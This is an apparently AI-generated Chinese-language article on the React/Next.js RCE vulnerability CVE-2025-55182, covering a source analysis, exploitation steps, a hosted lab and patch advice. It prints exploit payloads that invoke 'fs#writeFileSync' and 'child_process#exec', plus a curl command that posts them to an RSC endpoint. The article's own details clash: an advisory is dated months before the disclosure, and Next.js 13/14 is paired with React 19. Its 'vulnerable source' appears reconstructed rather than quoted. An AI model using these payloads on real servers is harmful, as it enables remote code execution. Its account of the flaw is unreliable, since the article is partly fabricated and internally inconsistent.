Home/攻防技術 / React/Next.js RCE 漏洞(CVE-2025-55182)源碼分析與驗證環境

React/Next.js RCE 漏洞(CVE-2025-55182)源碼分析與驗證環境

React 19 及其下游框架 Next.js 在 2025 年底曝出一個高危 RCE 漏洞(CVE-2025-55182 / CVE‑2025‑66478)。 漏洞源於 React Server Components(RSC)在處理 Flight 協定時的反序列化缺陷,攻擊者不需任何身份驗證,僅送一筆精心構造的 HTTP 請求即可在伺服器上執行任意代碼。本文將從源碼角度拆解漏洞,說明利用流程,並提供可直接使用的驗證環境。

一、漏洞背景

React 19.0.0‑19.2.0 以及 Next.js 13.x/14.x 之中,react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack 等核心包在解析 Flight 資料時,使用了 JSON.parseeval 的組合,導致無法驗證輸入結構。攻擊者可注入 module#method 字串,繞過預設白名單,進而調用 fs.writeFileSyncchild_process.exec 等危險 API。

  • 受影響版本:react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0 (同理其他兩個包) (iThome)
  • 已修復版本:19.0.1, 19.1.2, 19.2.1 (CSDN)

官方公告指出,漏洞僅需在伺服器上運行受影響的 RSC 端點即可被利用,且無需客戶端介入,直接對後端暴露的 API 送請求即可。

二、源碼分析

核心漏洞位於 react-server-dom-webpack/lib/FlightServerResponse.jsdeserialize 函式。原始實作如下:

📂 收合(點我收起)

function deserialize(value) {
  if (typeof value === 'string' && value.startsWith('m:')) {
    const [module, method] = value.slice(2).split('#');
    // 直接呼叫對應模組方法
    return require(module)[method];
  }
  // 其他原始處理
}

上述程式碼缺乏對 modulemethod 的白名單驗證,攻擊者可傳入任意字串,如 fs#writeFileSync,進而執行文件寫入。更進一步,利用 child_process#exec 可直接執行 shell 指令。

三、利用流程

1. 準備攻擊 payload:一段可序列化的 JSON,包含目標執行函式的字串。

📂 收合(點我收起)

{
  "flight": [
    "m:fs#writeFileSync",
    "/tmp/evil.txt",
    "Hello, world!"
  ]
}

2. 送至 RSC 端點(通常為 /api/_next/data/.../index.json 或自訂端點)。

📂 收合(點我收起)

curl -X POST -H "Content-Type: application/json" 
     -d '{"flight":["m:fs#writeFileSync","/tmp/evil.txt","Hello, world!"]}' 
     https://target.example.com/api/your-rsc-endpoint

3. 伺服器解析 payload,因為缺少驗證,會調用 fs.writeFileSync,在伺服器上創建 /tmp/evil.txt

若改為 child_process#exec,即可執行任意命令:

📂 收合(點我收起)

{
  "flight": [
    "m:child_process#exec",
    "id > /tmp/evil.txt",
    null,
    null
  ]
}

四、驗證環境

Beacon Tower Lab 提供了可即時啟動的漏洞驗證環境,使用 Docker 容器運行受影響版本的 Next.js 應用,並預載測試端點。可於 ddpoc.com/vulenv.html 直接啟用,環境將於 15 分鐘後自動銷毀,適合快速驗證與教育用途。

五、緊急補丁策略

  1. 立即掃描所有專案,確認是否使用受影響版本。可使用 npm ls react-server-dom-webpack 等指令。
  2. 升級至已修復版本(19.0.1/19.1.2/19.2.1)。升級後必須重新編譯、部署。
  3. 若無法即時升級,建議在 WAF 上加入「Server Side Template Injection」或「Node.js Injection」規則,過濾包含 m: 前綴的 payload。
  4. 部署 RASP 或 Runtime Application Self-Protection,監控 requirechild_process 的呼叫。
  5. 加強日誌監控,特別是 API 端點的 POST 請求,檢查是否有異常 flight 參數。

六、後續建議

  • 在 CI/CD 週期中加入 SCA(Software Composition Analysis)工具,偵測第三方依賴的 CVE。
  • 實施最小權限原則,將應用程式運行於非 root 用戶,減少 fs.writeFileSync 的寫入範圍。
  • 在生產環境使用 process.env.NODE_ENV=production,確保 React 進入正式模式,避免開發時的 debug 代碼暴露。

MITRE ATT&CK 對應

  • T1059 – Command and Scripting Interpreter (利用 child_process.exec 執行 shell)
  • T1190 – Exploit Public-Facing Application (利用未經授權的 API 端點)
  • T1071 – Application Layer Protocol (HTTP POST 進行 payload 傳輸)

參考資料與原文來源

  • React/Next.js组件RCE漏洞(CVE-2025-55182)详情分析-【附验证环境】 (Beacon Tower Lab, 2025‑12‑05)
  • React CVE-2025-55182漏洞排查与修复指南原创 (CSDN, 2025‑12‑04)
  • 資安公司Censys 發布 CVE-2025-55182 重要通報 (Meta 相關) (Censys Blog, 2025‑05‑10)
  • 山石安服|针对突发通用严重漏洞的安全解决方案 (网易, 2025‑12‑02)
  • DDPOC 验证环境 (https://ddpoc.com/vulenv.html)

本文由 DreamJ AI 技術新聞生成系統 自動撰寫並進行語意優化,僅供技術研究與教學使用。
請以原廠公告、CVE 官方資料與安全建議為最終依據。

React/Next.js RCE 漏洞(CVE-2025-55182)源碼分析與驗證環境

🧠 本文章與所附圖片部分內容為 AI 生成或 AI 輔助產製。文中提及之商標、品牌名稱、產品圖片及相關標識, 其著作權與商標權均屬原權利人所有,本網站僅作為資訊呈現與示意使用

最新文章

企業數據安全:從日常疏忽防範與員工安全意識提升策略

企業數據安全:從日常疏忽防範與員工安全意識提升策…

Gladinet產品硬編碼金鑰漏洞:未授權存取與遠端程式碼執行風險

Gladinet 產品硬編碼金鑰漏洞:未授權存取與遠端程…

Google 提升數據中心技術領袖,布局 AI 基礎設施競爭

Google 推動 AI 基礎設施競賽:從投資到…

AI 深偽綁票新手法!FBI 示警:防範偽造影片詐財陷阱

AI 助攻詐騙:FBI 警示偽造影片綁架案之技術分析與…

推薦文章

留言

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

分析完成 ✔